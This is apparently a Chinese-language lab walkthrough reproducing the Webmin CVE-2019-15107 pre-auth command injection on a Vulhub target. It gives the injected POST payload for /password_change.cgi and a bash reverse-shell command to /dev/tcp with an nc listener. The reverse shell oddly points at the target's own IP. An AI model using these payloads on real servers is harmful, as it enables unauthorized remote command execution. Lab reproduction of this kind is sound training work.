vulhub靶场Webmin(CVE-2019-15107)漏洞复现

Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。Webmin支持绝大多数的Unix系统，这些系统除了各种版本的linux以外还包括：AIX、HPUX、Solaris、Unixware、Irix和FreeBSD等。

影响版本：

 webmin<=1.920

一、漏洞复现

1、在centos虚拟机中打开靶场（后文需要使用kali进行监听），ip为：192.168.18.134：

2、在物理机中打开浏览器输入地址：192.168.18.134:10000

3、不需要账户密码直接点击登入，开启抓包

4、这里是post方式传输，将接口换成：/password_change.cgi

使用下面的poc:

user=roottext1&old=ls&new1=test2&new2=test2，点击send

漏洞复现完成

二、getshell

1、打开kali虚拟机，查看ip地址：

2、使用URL编码将下面命令进行编码：

bash -c "bash -i >& /dev/tcp/192.168.18.134/9999 0>&1"

3、在kali虚拟机使用命令：nc -vvlp 9999开启监听，同时将上面的编码值替换之前old参数处的数值：

4、点击send，返回kali虚拟机

5、执行whomai: